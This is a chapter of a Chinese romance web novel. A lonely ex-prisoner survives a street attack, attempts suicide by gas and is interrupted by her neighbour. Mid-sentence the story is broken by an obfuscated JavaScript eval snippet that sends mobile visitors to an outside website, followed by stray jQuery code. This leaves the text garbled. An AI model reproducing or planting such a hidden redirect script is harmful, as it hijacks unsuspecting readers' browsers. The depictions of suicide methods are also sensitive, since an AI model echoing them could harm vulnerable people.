田遥在泰景江畔的一个老小区租了房。小区建于上个世纪末，楼房墙面是老旧的灰色瓷砖，窗户下方大多渗着褐色的锈迹。
房东是一对中年夫妻，在这住了二十几年，最近搬了新家，才低价将房子转租出去。房东走前把另外一把钥匙交给她，拜托她一件事。
钥匙是对门家的。那里住着一个三十出头的男人，但不常回来，留了把备用钥匙给房东，让他帮忙偶尔照看那些花草。房东有时家里来了亲戚，家里住不下时，邻居也会大方地把地方暂借给他们。
房东已经跟邻居打过招呼，邻居让房东直接把钥匙留下就成，反正屋里也没什么值钱的东西。
听到这处，田遥已明白房东的意思。她便答应房东，钥匙她会保管，到时一定给到邻居手上。
房东留下大部分家具，田遥只添置了一些日常用品。她从背包里抖出温礼的旧手机，上面只存了他的号码。
田遥想了想，还是发信息告诉温礼，她在泰景江畔找到了住的地方。
田遥在附近一家火锅店找了份服务员的差事。领班看她长得标致，又一副顺从老实的样子，便把她留了下来。
哪知不出一天，领班就开始后悔。
这到底是上班还是上坟啊，一天到晚一副扑克脸，搞得顾客跟劈腿前任似的。
幸而田遥做事勤快，领班大姐才没厉声训斥她。
由是，田遥每晚被罚咬筷子练习微笑一个钟。
田遥渐渐有了让领班满意的表现。
只是那些机械的笑容，和火锅店的味道一样，多得让她恶心。
下了班，田遥沿着长得不见头的泰景江回去。沿路的酒吧在喧嚣。江边的树影下，有情侣搂在一起看江景。白天路过的时候，还能看见有人在江畔画画。
画画。
田遥突然停下脚步，茫然伸出右手，指尖抽搐般动了动，那仿佛不是自己的手。
住的地方在对岸，夜晚十点的大桥上人车稀少。田遥依然穿了黑色卫衣和军绿色裤子，头发长了一些，她的背影终于勉强有了一些女人的样子。
每次经过，田遥总有翻过栏杆跳下去的冲动。
她生活得那么边缘，独来独往，也许消失了也不会有人发觉，就像街边的乞丐一样。
黑色是包容的色彩。田遥走走停停，不断转头望望那片黑粼粼的江水，浑然不知危险已近。
耳边摩托车的声音渐近，摩托车有减速的趋势。田遥没有分出一丝的警惕，继续埋头走着。
倏然间，她感觉脖颈被人箍住，反应过来后，已被摩托车拖出了几米。
田遥本能地挣扎，拼命去掰那人的手臂。脖子被紧紧勒着，她只挤出含糊不清的几声。
那人不断把田遥往车上拽，田遥双腿乱蹬，小腿肚几次撞到烟囱，烫得她眼泪都出来了。
后面不远处，一辆白色SUV驶近，经过摩托车时明显降速，喇叭声响起。
田遥只感觉脖子上的禁锢突然消失，她失去支撑摔倒，后脑勺重重磕到水泥路面，发出沉闷的声响。
“哎，你没事吧？”白色SUV停下，副驾的窗探出一颗浅红色的脑袋问。
田遥翻了个身，从地上爬起来。她抱着被撞疼的胳膊肘，身上蹭了不少灰，那头本就参差不齐的头发更加凌乱不堪。
她依然低着头，朝声音方向微微鞠了一躬，算是感谢。
田遥从刘海缝隙望去，白色的车身上有几道黄色和棕色的条纹。
“哎，你没事吧？要不要送你上医院啊？”刚才那道男声再度响起。
田遥摇头，大步前行，走出几步后，几乎是小跑着离开大桥。
红发男人：“……”
“哥，我们走吧。”红发男人升起车窗，对开车的男人喃喃了一句，白色SUV再次向着它原本的目的地前进。
田遥一路不停歇，狂奔着回到住处。大门刚摔上，她便倚着门背，跌坐到地上。她把脸埋在膝盖间，眼泪便流了出来。
不应该是这样的。
怎么会变成这样。
墙上挂钟依然在走。田遥明明听不清秒针的声音，却感觉那滴答滴答一声一声地砸在她身上，催促着她。
过了十二点她就二十七岁了。
二十七岁。
一事无成。
在田遥的憧憬里，这个年纪的她，或许会成为小有名气的画手，有自己的工作室，带一两个徒弟。
或许她还会和喜欢的男人相守，吵吵闹闹过日子。
即使过得再差，也不该是现在这样子。
田遥连站起来的力气也没有了。
哭累了，田遥随便抹了一把脸，起来进屋换了一身衣服。
她打开屋里所有的灯，又将窗都关上。然后，田遥走进厨房，拧开了煤气罐——
【你以为我想拦着你？你要死就出去再死，你现在死了只会连累我们。你死了，解脱了，我们还要替你受处罚。你这样会影响减刑指标，你懂吗？！】
刚进监狱的时候，田遥半夜用磨尖的牙刷柄割开左手腕，同号子的大姐扇了她一巴掌，并帮她止住了血。
她的左手腕还留着一道浅浅的疤痕。
田遥想着，现在，她无牵无挂，总不会连累别人了吧。
田遥回到客厅，想着该以什么样的姿势离开。这一刻她心里无端平静，刚才的恐惧感消失殆尽。
煤气味有些呛鼻，田遥坐到沙发上。那些清晰的、模糊的面孔和画面不断飞入眼帘，田遥渐渐感觉到有些眩晕，像坠入光怪陆离的梦境。
直到最后一切都汇聚成震耳的声响——
笃、笃、笃。
这是到达另一个地方了吗？
田遥茫然地看看周围。
不应该啊，还是这个破地方。
笃笃笃。
“有人在家吗？”
男人的声音。
有人敲门。有人在敲她的门。
可大晚上的谁回来找她啊，附近的人她压根不认识。
田遥琢磨了几秒，霎时恍然。
对门的，来拿钥匙。
“等等啊。”
田遥大叫。接着她冲进厨房，迅速关上煤气罐，又手忙脚乱地打开厨房的窗户。
她不是不想走，而是不想让人知道她走了。
“你找谁啊。”田遥回到门边，这门没有猫眼，外面也没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684825|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
防盗门，她隔着木门朝外喊。
“打扰了，我是住对门的。原来留了把钥匙在张叔这，我从楼下看灯还亮着，就来敲门。我忘带钥匙了。”
“噢。”田遥将门打开了一些，她左手撑着门框，身子防备地躲在门后。
门外站着一个高大的男人，借着室内的光，田遥看清了男人的面容。
“啊……”田遥歪着脑袋，姿势不变，就那么盯着他。
那个司机。
她不会认错。一个多月前的早晨，她曾趁着他熟睡，偷偷打量了他许久。
剑眉如墨，鼻梁高挺，薄唇紧抿，整张脸棱角分明。留着板寸让他看起来更是硬朗，那时田遥看呆了，直想抚摸一下他浓黑的短发。
也是那时，田遥想明白了一件事。
那个司机，眉眼有那么一丢丢像她前男友呵。
陈景皓微微一愣，“……是你啊。”
“唔。”
田遥刚想去拿钥匙，陈景皓突然皱眉，“你没关煤气吗？怎么煤气味那么浓？”
他疑惑的眼光扫到她支在门框的左手上。
她左手腕上有一道细长的疤痕。
发觉他的目光，田遥立刻把左手缩到身后。
“我……刚才正要煮宵夜，唔，煮宵夜，忘了关了……我这就去关。”
田遥慌忙回到厨房，动作太大，跑过客厅时小腿磕到了茶几角。
陈景皓：“……”
陈景皓进门，打开了客厅的窗户。夜风灌进来，冲淡了煤气味。
他略略打量了一圈，家具虽然还是以前那些，其他物件却几乎没有，这里那里都空落落的，真想象不出还有人住在这里。
还是一个女人。
还是一个漂亮女人。
当然除去那头倒扣分的乱发不提。
田遥出到客厅，在原来的电视柜抽屉里找出备用钥匙。
“给你。”田遥把钥匙递给他。
“谢谢。”陈景皓看着她低垂的眉眼，不觉有些愣神。
他走几步，快到门边忽然回过身，“那个——”
“啊？”田遥也跟着停住，抬头望着他。
他的眼眸晶黑，眼神深邃。那可以包容万物的黑色，田遥觉得自己快要沉进去了。
“出去吃宵夜吗？”陈景皓掂了掂手里的钥匙，又说：“我请你。算是谢谢你上次帮我带药，还有吃的。”
夜晚十一点，吃宵夜，和刚认识不久的男人。
真是荒唐的邀请。
陈景皓忍不住自嘲。
田遥只安静了几秒，便鬼使神差地点点头。
她现在极度不愿一个人呆着。而从那晚的经历来看，她并不排斥和这个司机相处。
陈景皓虽然有些意外，但终归舒了一口气。
田遥锁了门，跟着陈景皓下了楼。
到了平地他们并肩而走，陈景皓侧首看了看她，田遥只顾着低头走着。
陈景皓说：“以后就是邻居了，还不知道你的名字呢。我叫陈景皓。”
田遥嗯了一声，答：“我叫田遥。”
陈景皓：“……哪个遥？”
“遥远的遥。”